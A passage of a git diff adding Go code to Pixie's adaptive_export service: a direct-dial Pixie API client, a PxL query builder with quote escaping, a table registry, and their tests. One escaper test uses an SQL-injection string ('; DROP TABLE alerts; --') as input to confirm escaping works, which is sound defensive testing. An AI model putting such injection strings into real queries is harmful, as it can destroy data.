pxapi.WithDisableTLSVerification(a.directOpts.VizierAddr), + pxapi.WithBearerAuth(jwt), + ) + if err != nil { + return nil, fmt.Errorf("pixieapi: direct dial: %w", err) + } + client = c + } + vz, err := client.NewVizierClient(ctx, a.clusterID) + if err != nil { + return nil, fmt.Errorf("pixieapi: vizier dial: %w", err) + } + mux := newCollector() + rs, err := vz.ExecuteScript(ctx, pxl, mux) + if err != nil { + return nil, fmt.Errorf("pixieapi: ExecuteScript: %w", err) + } + defer rs.Close() + if err := rs.Stream(); err != nil { + if errdefs.IsCompilationError(err) { + return nil, fmt.Errorf("pixieapi: PxL compilation: %w", err) + } + return nil, fmt.Errorf("pixieapi: stream: %w", err) + } + return mux.rows(), nil +} + +type collector struct { + mu sync.Mutex + all []Row +} + +func newCollector() *collector { return &collector{} } + +func (c *collector) AcceptTable(_ context.Context, _ types.TableMetadata) (pxapi.TableRecordHandler, error) { + return &tableHandler{out: c}, nil +} + +func (c *collector) rows() []Row { + c.mu.Lock() + defer c.mu.Unlock() + return append([]Row(nil), c.all...) +} + +type tableHandler struct { + out *collector + meta types.TableMetadata +} + +func (h *tableHandler) HandleInit(_ context.Context, md types.TableMetadata) error { + h.meta = md + return nil +} + +func (h *tableHandler) HandleRecord(_ context.Context, rec *types.Record) error { + row := make(Row, len(h.meta.ColInfo)) + for _, col := range h.meta.ColInfo { + datum := rec.GetDatum(col.Name) + if datum == nil { + continue + } + row[col.Name] = datumValue(datum) + } + h.out.mu.Lock() + h.out.all = append(h.out.all, row) + h.out.mu.Unlock() + return nil +} + +func (h *tableHandler) HandleDone(_ context.Context) error { return nil } + +func datumValue(d types.Datum) any { + switch v := d.(type) { + case *types.BooleanValue: + return v.Value() + case *types.Int64Value: + return v.Value() + case *types.Float64Value: + return v.Value() + case *types.StringValue: + return v.Value() + case *types.Time64NSValue: + return v.Value() + case *types.UInt128Value: + return v.Value() + default: + return d.String() + } +} diff --git a/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi_test.go b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi_test.go new file mode 100644 index 00000000000..bb0b35c9ee1 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi_test.go @@ -0,0 +1,114 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package pixieapi + +import ( + "os" + "testing" +) + +// The direct-mode constructors are the #36 broker-direct entry points (AE bypasses +// the cloud passthrough → immune to the "cluster is not in a healthy state" gate). +// These guards are what stop a misconfigured operator from crashing at first Query +// (pxapi log.Fatal's on cluster.local without PX_DISABLE_TLS), so they must hold. + +func clearDirectEnv(t *testing.T) { + t.Helper() + for _, k := range []string{"ADAPTIVE_VIZIER_DIRECT_ADDR", "PL_JWT_SIGNING_KEY", "PX_DISABLE_TLS"} { + t.Setenv(k, "") // t.Setenv records + restores; "" then Unsetenv for a clean slate + os.Unsetenv(k) + } +} + +func TestNewDirectFromEnv_MissingAddr(t *testing.T) { + clearDirectEnv(t) + if _, err := NewDirectFromEnv("cid"); err == nil { + t.Fatal("expected error when ADAPTIVE_VIZIER_DIRECT_ADDR is unset") + } +} + +func TestNewDirectFromEnv_MissingSigningKey(t *testing.T) { + clearDirectEnv(t) + t.Setenv("ADAPTIVE_VIZIER_DIRECT_ADDR", "vizier-query-broker-svc.pl.svc.cluster.local:50300") + if _, err := NewDirectFromEnv("cid"); err == nil { + t.Fatal("expected error when PL_JWT_SIGNING_KEY is unset") + } +} + +func TestNewDirect_ClusterLocalRequiresDisableTLS(t *testing.T) { + clearDirectEnv(t) // PX_DISABLE_TLS unset + _, err := NewDirect("cid", DirectOptions{ + VizierAddr: "vizier-query-broker-svc.pl.svc.cluster.local:50300", + SigningKey: "k", + }) + if err == nil { + t.Fatal("cluster.local addr without PX_DISABLE_TLS=1 must error (pxapi would log.Fatal at Query)") + } +} + +func TestNewDirect_ClusterLocalWithDisableTLS_OK(t *testing.T) { + clearDirectEnv(t) + t.Setenv("PX_DISABLE_TLS", "1") + a, err := NewDirect("cid", DirectOptions{ + VizierAddr: "vizier-query-broker-svc.pl.svc.cluster.local:50300", + SigningKey: "k", + }) + if err != nil { + t.Fatalf("unexpected error with PX_DISABLE_TLS=1: %v", err) + } + if a.directOpts == nil { + t.Fatal("direct-mode Adapter must carry directOpts (so Query takes the broker path)") + } + if a.client != nil { + t.Error("direct-mode Adapter must NOT hold a cloud client (it dials per-query)") + } + if a.directOpts.ServiceID != "adaptive_export" { + t.Errorf("ServiceID should default to adaptive_export, got %q", a.directOpts.ServiceID) + } +} + +func TestNewDirect_NonClusterLocalNeedsNoDisableTLS(t *testing.T) { + clearDirectEnv(t) // PX_DISABLE_TLS unset, but addr isn't cluster.local + if _, err := NewDirect("cid", DirectOptions{VizierAddr: "vizier.example:50300", SigningKey: "k"}); err != nil { + t.Fatalf("non-cluster.local addr should not require PX_DISABLE_TLS: %v", err) + } +} + +func TestNewDirectFromEnv_Success(t *testing.T) { + clearDirectEnv(t) + t.Setenv("ADAPTIVE_VIZIER_DIRECT_ADDR", "vizier-query-broker-svc.pl.svc.cluster.local:50300") + t.Setenv("PL_JWT_SIGNING_KEY", "signing-key") + t.Setenv("PX_DISABLE_TLS", "1") + a, err := NewDirectFromEnv("cluster-123") + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if a.directOpts == nil || a.clusterID != "cluster-123" { + t.Fatalf("expected direct Adapter for cluster-123, got %+v", a) + } + if a.directOpts.VizierAddr == "" || a.directOpts.SigningKey != "signing-key" { + t.Errorf("directOpts not populated from env: %+v", a.directOpts) + } +} + +// New (cloud) path stays cloud — sanity that the two constructors don't cross-wire. +func TestNewCloudHasNoDirectOpts(t *testing.T) { + a := New(nil, "cid") + if a.directOpts != nil { + t.Error("cloud Adapter must not have directOpts") + } +} diff --git a/src/vizier/services/adaptive_export/internal/pxl/BUILD.bazel b/src/vizier/services/adaptive_export/internal/pxl/BUILD.bazel new file mode 100644 index 00000000000..2ce474822ac --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pxl/BUILD.bazel @@ -0,0 +1,44 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "pxl", + srcs = [ + "queryfor.go", + "tables.go", + ], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/pxl", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + ], +) + +pl_go_test( + name = "pxl_test", + srcs = [ + "queryfor_bench_test.go", + "queryfor_test.go", + "tables_test.go", + ], + embed = [":pxl"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/pxl/queryfor.go b/src/vizier/services/adaptive_export/internal/pxl/queryfor.go new file mode 100644 index 00000000000..13f1772bc07 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pxl/queryfor.go @@ -0,0 +1,85 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package pxl + +import ( + "errors" + "fmt" + "regexp" + "strconv" + "strings" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +// ErrUnknownTable is returned by QueryFor for a table not in BuiltinTables. +var ErrUnknownTable = errors.New("pxl: unknown pixie table") + +// QueryFor returns a PxL script that selects rows from `table` for the +// (namespace, pod) of `t`, time-bounded to [sliceStart, sliceEnd). The +// `now` argument lets us compute a relative `start_time=` for +// px.DataFrame (PxL rejects ISO-string absolute bounds; we use a +// generously-padded relative bound and post-filter precisely with +// px.int64_to_time on the time_ column). +func QueryFor(table string, t anomaly.Target, sliceStart, sliceEnd, now time.Time) (string, error) { + if !IsBuiltin(table) { + return "", fmt.Errorf("%w: %q", ErrUnknownTable, table) + } + // pad covers (now - sliceStart) plus a 30s safety margin. When + // sliceStart is in the future (caller bug), now.Sub is negative and + // we'd ask pixie for a positive-only relative start; clamp to 30s. + pad := now.Sub(sliceStart) + 30*time.Second + if pad < 30*time.Second { + pad = 30 * time.Second + } + relStart := "-" + strconv.FormatInt(int64(pad/time.Second), 10) + "s" + + var b strings.Builder + b.WriteString("import px\n") + b.WriteString("df = px.DataFrame(table='" + table + "', start_time='" + relStart + "')\n") + b.WriteString("df = df[df.time_ >= px.int64_to_time(" + strconv.FormatInt(sliceStart.UnixNano(), 10) + ")]\n") + b.WriteString("df = df[df.time_ < px.int64_to_time(" + strconv.FormatInt(sliceEnd.UnixNano(), 10) + ")]\n") + b.WriteString("df.namespace = px.upid_to_namespace(df.upid)\n") + // px.upid_to_pod_name returns "/" (carnot: + // metadata_ops.h UPIDToPodNameUDF::Exec → absl::Substitute("$0/$1", ns, name)), + // not the bare pod name. Filtering against bare t.Pod would always + // miss; build the namespaced key when we have both fields. + b.WriteString("df.pod = px.upid_to_pod_name(df.upid)\n") + if t.Namespace != "" { + b.WriteString("df = df[df.namespace == '" + escapePxL(t.Namespace) + "']\n") + } + if t.Pod != "" { + if t.Namespace != "" { + // Both fields present — use exact equality on the namespaced key. + b.WriteString("df = df[df.pod == '" + escapePxL(t.Namespace+"/"+t.Pod) + "']\n") + } else { + // Pod-only fallback: df.pod is "/", so a bare-pod + // equality always misses. Regex-anchor "/" via + // px.regex_match so the defensive path stays functional. + b.WriteString("df = df[px.regex_match('^[^/]+/" + escapePxL(regexp.QuoteMeta(t.Pod)) + "$', df.pod)]\n") + } + } + b.WriteString("px.display(df, '" + table + "')\n") + return b.String(), nil +} + +var pxlEscaper = strings.NewReplacer(`\`, `\\`, `'`, `\'`) + +func escapePxL(s string) string { + return pxlEscaper.Replace(s) +} diff --git a/src/vizier/services/adaptive_export/internal/pxl/queryfor_bench_test.go b/src/vizier/services/adaptive_export/internal/pxl/queryfor_bench_test.go new file mode 100644 index 00000000000..64de6290687 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pxl/queryfor_bench_test.go @@ -0,0 +1,69 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package pxl + +import ( + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +// pxl.QueryFor sits on the controller fan-out path: ONE QueryFor call +// per (anomaly_hash, table) tuple per pass. With 11 PushPixieTables and +// N active anomaly windows, the per-pass cost is 11×N QueryFor calls +// (plus 11×N broker queries that the QueryFor strings parameterise). +// +// At sustained 100 active anomalies → 1100 QueryFor/sec. Allocation +// behaviour of fmt.Sprintf-style string builders is what the bench +// quantifies — informs whether sync.Pool'd strings.Builder would pay +// off if QueryFor turns up in CPU profiles. + +func BenchmarkQueryFor_http_events(b *testing.B) { + t := anomaly.Target{ + PID: 12345, + Comm: "java", + Pod: "backend-vulnerable-779cd9d765-mxr8t", + Namespace: "log4j-poc", + } + now := time.Now() + start := now.Add(-30 * time.Second) + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _, _ = QueryFor("http_events", t, start, now, now) + } +} + +// BenchmarkQueryFor_AllTables varies the table across all 13 BuiltinTables +// to ensure we're not missing a slow-path on a specific table. +func BenchmarkQueryFor_AllTables(b *testing.B) { + t := anomaly.Target{ + PID: 12345, + Comm: "java", + Pod: "backend-vulnerable-779cd9d765-mxr8t", + Namespace: "log4j-poc", + } + now := time.Now() + start := now.Add(-30 * time.Second) + tables := Names(Builtins()) + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _, _ = QueryFor(tables[i%len(tables)], t, start, now, now) + } +} diff --git a/src/vizier/services/adaptive_export/internal/pxl/queryfor_test.go b/src/vizier/services/adaptive_export/internal/pxl/queryfor_test.go new file mode 100644 index 00000000000..c36c2c959b5 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pxl/queryfor_test.go @@ -0,0 +1,229 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package pxl + +import ( + "errors" + "strings" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +// fixed reference time for deterministic relStart computation. +var ( + fixedNow = time.Date(2026, 5, 9, 15, 23, 44, 0, time.UTC) + fixedStart = fixedNow.Add(-5 * time.Minute) // ATTACK − 5 min + fixedEnd = fixedNow.Add(5 * time.Minute) // ATTACK + 5 min + target = anomaly.Target{ + PID: 12345, Comm: "redis-server", + Pod: "redis-6fbcfb97c-82qxv", Namespace: "redis", + } +) + +// TestQueryFor_UnknownTable — non-builtin tables wrap ErrUnknownTable. +func TestQueryFor_UnknownTable(t *testing.T) { + _, err := QueryFor("nope_table", target, fixedStart, fixedEnd, fixedNow) + if err == nil || !errors.Is(err, ErrUnknownTable) { + t.Fatalf("want ErrUnknownTable wrapper, got %v", err) + } + if !strings.Contains(err.Error(), `"nope_table"`) { + t.Fatalf("error must echo the bad table name; got %v", err) + } +} + +// TestQueryFor_NamespacedPodFilter — px.upid_to_pod_name returns +// "/" (verified in carnot's metadata_ops.h:387). The +// generated PxL must filter against the namespaced key when both +// fields are non-empty. +func TestQueryFor_NamespacedPodFilter(t *testing.T) { + q, err := QueryFor("redis_events", target, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + wantPodFilter := `df = df[df.pod == 'redis/redis-6fbcfb97c-82qxv']` + if !strings.Contains(q, wantPodFilter) { + t.Fatalf("expected pod filter %q in:\n%s", wantPodFilter, q) + } + wantNS := `df = df[df.namespace == 'redis']` + if !strings.Contains(q, wantNS) { + t.Fatalf("expected namespace filter %q in:\n%s", wantNS, q) + } +} + +// TestQueryFor_NamespaceOnly — only namespace filter when Pod is empty. +func TestQueryFor_NamespaceOnly(t *testing.T) { + tNoPod := anomaly.Target{Namespace: "redis"} + q, err := QueryFor("redis_events", tNoPod, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + if !strings.Contains(q, `df = df[df.namespace == 'redis']`) { + t.Fatalf("expected namespace filter; got:\n%s", q) + } + if strings.Contains(q, "df = df[df.pod ==") { + t.Fatalf("did not expect pod filter when Pod is empty; got:\n%s", q) + } +} + +// TestQueryFor_PodOnly — when Namespace is empty but Pod is set, fall +// back to a regex match on `*/` since px.upid_to_pod_name always +// returns "/" — a bare-pod equality filter would always +// miss. The defensive path stays usable instead of being silently broken. +func TestQueryFor_PodOnly(t *testing.T) { + tNoNS := anomaly.Target{Pod: "redis-foo"} + q, err := QueryFor("redis_events", tNoNS, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + // Must NOT emit the bare-pod equality (CR: that's a known-miss filter). + if strings.Contains(q, `df = df[df.pod == 'redis-foo']`) { + t.Fatalf("regression: emitted bare-pod equality that always misses:\n%s", q) + } + // Must emit a working filter that matches "/redis-foo". + want := `df = df[px.regex_match('^[^/]+/redis-foo$', df.pod)]` + if !strings.Contains(q, want) { + t.Fatalf("expected regex-anchored pod filter\nwant: %s\ngot:\n%s", want, q) + } + if strings.Contains(q, "df = df[df.namespace ==") { + t.Fatalf("did not expect namespace filter; got:\n%s", q) + } +} + +// TestQueryFor_NoTargetFilters — empty Target → no namespace OR pod +// filter (caller-driven coarse query). +func TestQueryFor_NoTargetFilters(t *testing.T) { + q, err := QueryFor("redis_events", anomaly.Target{}, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + if strings.Contains(q, "df.namespace ==") || strings.Contains(q, "df.pod ==") { + t.Fatalf("expected no namespace/pod filter for empty Target; got:\n%s", q) + } +} + +// TestQueryFor_TimeBoundsAreInclusiveLowerExclusiveUpper — sliceStart +// is `>=`; sliceEnd is `<`. Encoded as nanos. +func TestQueryFor_TimeBoundsAreInclusiveLowerExclusiveUpper(t *testing.T) { + q, err := QueryFor("redis_events", target, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + wantLower := `df = df[df.time_ >= px.int64_to_time(1778339924000000000)]` // 15:18:44 UTC ns + wantUpper := `df = df[df.time_ < px.int64_to_time(1778340524000000000)]` // 15:28:44 UTC ns + if !strings.Contains(q, wantLower) { + t.Fatalf("expected lower bound %q in:\n%s", wantLower, q) + } + if !strings.Contains(q, wantUpper) { + t.Fatalf("expected upper bound %q in:\n%s", wantUpper, q) + } +} + +// TestQueryFor_RelativeStartTime — pad covers (now − sliceStart) plus +// 30 s. With ATTACK − 5min as sliceStart and now == ATTACK, pad is +// 5 min + 30 s = 330 s. +func TestQueryFor_RelativeStartTime(t *testing.T) { + q, err := QueryFor("redis_events", target, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + if !strings.Contains(q, "start_time='-330s'") { + t.Fatalf("expected start_time='-330s' in:\n%s", q) + } +} + +// TestQueryFor_PadFloorOn30sWhenSliceStartIsFuture — caller-bug case; +// pad clamps to 30 s rather than emitting a positive (forward) start. +func TestQueryFor_PadFloorOn30sWhenSliceStartIsFuture(t *testing.T) { + futureStart := fixedNow.Add(1 * time.Minute) // sliceStart > now + q, err := QueryFor("redis_events", target, futureStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + if !strings.Contains(q, "start_time='-30s'") { + t.Fatalf("expected start_time='-30s' clamp in:\n%s", q) + } +} + +// TestQueryFor_EscapesSingleQuoteInTarget — apostrophes in pod / +// namespace get backslash-escaped so they don't break out of the +// PxL string literal. +func TestQueryFor_EscapesSingleQuoteInTarget(t *testing.T) { + tWeird := anomaly.Target{Namespace: "ns'with'quotes", Pod: "p'od"} + q, err := QueryFor("redis_events", tWeird, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + if !strings.Contains(q, `df = df[df.namespace == 'ns\'with\'quotes']`) { + t.Fatalf("expected escaped namespace; got:\n%s", q) + } + if !strings.Contains(q, `df = df[df.pod == 'ns\'with\'quotes/p\'od']`) { + t.Fatalf("expected escaped namespaced pod key; got:\n%s", q) + } +} + +// TestQueryFor_EscapesBackslashInTarget — backslashes too. Asserts +// both namespace and the namespaced pod-key forms are escaped, so a +// `Pod` containing `\` can't terminate the PxL string literal. +func TestQueryFor_EscapesBackslashInTarget(t *testing.T) { + tWeird := anomaly.Target{Namespace: `ns\back`, Pod: `p\od`} + q, err := QueryFor("redis_events", tWeird, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("QueryFor: %v", err) + } + if !strings.Contains(q, `df = df[df.namespace == 'ns\\back']`) { + t.Fatalf("expected escaped namespace; got:\n%s", q) + } + if !strings.Contains(q, `df = df[df.pod == 'ns\\back/p\\od']`) { + t.Fatalf("expected escaped namespaced pod key; got:\n%s", q) + } +} + +// TestQueryFor_EveryBuiltinTableEmits — smoke-test all known tables +// produce a syntactically-shaped PxL output (compile-not-tested). +func TestQueryFor_EveryBuiltinTableEmits(t *testing.T) { + for _, table := range Names(builtinTables) { + q, err := QueryFor(table, target, fixedStart, fixedEnd, fixedNow) + if err != nil { + t.Fatalf("table %s: %v", table, err) + } + if !strings.HasPrefix(q, "import px\n") { + t.Fatalf("table %s: expected import px header; got:\n%s", table, q) + } + if !strings.Contains(q, "px.display(df, '"+table+"')") { + t.Fatalf("table %s: expected px.display call with table name; got:\n%s", table, q) + } + } +} + +// TestEscapePxL_TableDriven — direct coverage of the escaper. +func TestEscapePxL_TableDriven(t *testing.T) { + cases := []struct{ in, want string }{ + {"", ""}, + {"plain", "plain"}, + {"o'malley", `o\'malley`}, + {`back\slash`, `back\\slash`}, + {`mix'and\back`, `mix\'and\\back`}, + {"'; DROP TABLE alerts; --", `\'; DROP TABLE alerts; --`}, + } + for _, c := range cases { + if got := escapePxL(c.in); got != c.want { + t.Errorf("escapePxL(%q) = %q, want %q", c.in, got, c.want) + } + } +} diff --git a/src/vizier/services/adaptive_export/internal/pxl/tables.go b/src/vizier/services/adaptive_export/internal/pxl/tables.go new file mode 100644 index 00000000000..c29284ad58a --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pxl/tables.go @@ -0,0 +1,132 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package pxl carries the strongly-typed list of pixie observation +// tables the adaptive-write feature targets, plus a stub Registry +// extension point for the future-PR work that lets users plug in their +// own tables alongside their UI-defined retention scripts. +// +// Importantly: the operator does NOT execute PxL itself in the current +// design. Pixie's retention plugin runs the user-defined PxL scripts +// and populates ClickHouse. This package is only used to: +// - enumerate the pixie tables the operator is aware of +// - keep a stable, named, audit-friendly set (no dynamic discovery) +// - declare the future Registry extension surface +package pxl + +// TableSpec is the strongly-typed identity of one pixie socket_tracer +// table the operator knows about. Bare-string identifiers are +// deliberately avoided in callers — TableSpec carries the table name +// today and is the natural place to attach future fields (column +// projections, retention TTLs, semantic tags) without breaking the API. +type TableSpec struct { + // Name is the ClickHouse / Pixie table name. Dotted names + // (e.g. "http2_messages.beta") are stored verbatim; backtick + // quoting is the responsibility of SQL emitters. + Name string + + // Protocol is the wire protocol the table observes. Documentary; + // helps an operator audit "which tables are about HTTP". + Protocol string +} + +// builtinTables enumerates the 13 pixie socket_tracer tables the +// adaptive-write feature is shipped with. The order is stable and +// matches the project's published documentation. Do NOT loop over +// dynamic discovery to populate this — strong static definition is +// the requirement. Unexported so the slice cannot be mutated by +// external callers; use [Builtins] or [DefaultRegistry] for read +// access (both return defensive copies). +// +// conn_stats was previously out-of-scope (rev-1) but is re-added for +// the rev-2 schema — the rev-2 ClickHouse schema now carries it and the +// retention-script preset emits it alongside the protocol-events +// tables. Unlike the protocol tables it carries counters, not +// per-message rows; ClickHouse MERGEs snapshot rows over the order +// key (no aggregating engine — each retention-script pull is its own +// snapshot row). +var builtinTables = []TableSpec{ + {Name: "http_events", Protocol: "HTTP/1.x"}, + {Name: "http2_messages.beta", Protocol: "HTTP/2 + gRPC"}, + {Name: "dns_events", Protocol: "DNS"}, + {Name: "redis_events", Protocol: "Redis (RESP)"}, + {Name: "mysql_events", Protocol: "MySQL"}, + {Name: "pgsql_events", Protocol: "PostgreSQL"}, + {Name: "cql_events", Protocol: "Cassandra / CQL"}, + {Name: "mongodb_events", Protocol: "MongoDB"}, + {Name: "kafka_events.beta", Protocol: "Kafka"}, + {Name: "amqp_events", Protocol: "AMQP / RabbitMQ"}, + {Name: "mux_events", Protocol: "Mux (Twitter Finagle)"}, + {Name: "tls_events", Protocol: "TLS handshake"}, + {Name: "conn_stats", Protocol: "Connection-level statistics"}, +} + +// Registry is the extension surface for users to register their own +// tables alongside the built-ins. STUB — not wired into the controller +// or main.go in this PR. The intended future shape is: +// +// ctlCfg.Registry = pxl.Compose(pxl.DefaultRegistry(), userRegistry) +// +// where Compose merges built-ins with user additions, and the +// controller iterates Registry.Tables() instead of builtinTables. +// +// Today the controller and main.go consume BuiltinTables directly. +// The future PR will plumb a Registry through controller.Config and +// rewrite the consumers. +type Registry interface { + Tables() []TableSpec +} + +// DefaultRegistry returns a Registry over the built-in tables. +// Future-PR callers compose this with user-supplied registries. +func DefaultRegistry() Registry { return defaultRegistry{} } + +type defaultRegistry struct{} + +// Tables returns a defensive copy so callers cannot mutate the +// package-level table list at runtime. +func (defaultRegistry) Tables() []TableSpec { + return append([]TableSpec(nil), builtinTables...) +} + +// Builtins returns a defensive copy of the built-in table list. +// Prefer this over a (now removed) exported slice so the global +// registry cannot be aliased and mutated by callers. +func Builtins() []TableSpec { + return append([]TableSpec(nil), builtinTables...) +} + +// Names projects a []TableSpec to a []string for legacy callers that +// take bare names. Useful at API boundaries that haven't been +// strong-typed yet (controller.Config.Tables is one). +func Names(specs []TableSpec) []string { + out := make([]string, len(specs)) + for i, s := range specs { + out[i] = s.Name + } + return out +} + +// IsBuiltin reports whether the given name is one of the built-in +// tables. Bare-string callers can use this as a defensive guard. +func IsBuiltin(name string) bool { + for _, t := range builtinTables { + if t.Name == name { + return true + } + } + return false +} diff --git a/src/vizier/services/adaptive_export/internal/pxl/tables_test.go b/src/vizier/services/adaptive_export/internal/pxl/tables_test.go new file mode 100644 index 00000000000..273c0f625ee --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pxl/tables_test.go @@ -0,0 +1,128 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package pxl + +import ( + "testing" +) + +// TestBuiltinTables_Count — guard against accidental list churn. +// The set is the 13 socket_tracer tables in pixie's stirling layer +// (http_events, http2_messages.beta, dns_events, redis_events, +// mysql_events, pgsql_events, cql_events, mongodb_events, +// kafka_events.beta, amqp_events, mux_events, tls_events, conn_stats). +// Update this guard if the spec adds / removes a table. +func TestBuiltinTables_Count(t *testing.T) { + const want = 13 + if got := len(builtinTables); got != want { + t.Fatalf("builtinTables = %d entries, want %d", got, want) + } +} + +// TestBuiltinTables_AllNamesUnique — no duplicates. +func TestBuiltinTables_AllNamesUnique(t *testing.T) { + seen := map[string]bool{} + for _, sp := range builtinTables { + if seen[sp.Name] { + t.Fatalf("duplicate table %q in builtinTables", sp.Name) + } + seen[sp.Name] = true + } +} + +// TestBuiltinTables_AllHaveProtocol — each entry is annotated, so audit +// queries like "which tables observe HTTP?" work without parsing the name. +func TestBuiltinTables_AllHaveProtocol(t *testing.T) { + for _, sp := range builtinTables { + if sp.Protocol == "" { + t.Fatalf("BuiltinTable %q missing Protocol annotation", sp.Name) + } + } +} + +// TestIsBuiltin — defensive guard for bare-string callers. +func TestIsBuiltin(t *testing.T) { + if !IsBuiltin("redis_events") { + t.Fatalf("redis_events should be a builtin") + } + if !IsBuiltin("http2_messages.beta") { + t.Fatalf("dotted table http2_messages.beta should be a builtin") + } + if !IsBuiltin("conn_stats") { + t.Fatalf("conn_stats was re-added; should be builtin") + } + if IsBuiltin("") { + t.Fatalf("empty string should not be builtin") + } +} + +// TestDefaultRegistry — stub returns builtinTables. +func TestDefaultRegistry(t *testing.T) { + r := DefaultRegistry() + got := r.Tables() + if len(got) != len(builtinTables) { + t.Fatalf("DefaultRegistry().Tables() len %d, want %d", len(got), len(builtinTables)) + } + for i, sp := range builtinTables { + if got[i] != sp { + t.Fatalf("DefaultRegistry().Tables()[%d] = %+v, want %+v", i, got[i], sp) + } + } +} + +// TestNames — projection to []string preserves order. +func TestNames(t *testing.T) { + names := Names(builtinTables) + if len(names) != len(builtinTables) { + t.Fatalf("Names len mismatch") + } + if names[0] != "http_events" { + t.Fatalf("first name = %q, want http_events", names[0]) + } +} + +// TestDefaultRegistry_Tables_IsCopy — defensive: callers cannot mutate +// the package-level table list by aliasing the slice returned from +// DefaultRegistry().Tables(). Append-to-zero-cap is the easy gotcha: +// if Tables() handed out the backing slice directly, an append-without- +// reallocation would clobber the next builtin. +func TestDefaultRegistry_Tables_IsCopy(t *testing.T) { + got := DefaultRegistry().Tables() + if len(got) == 0 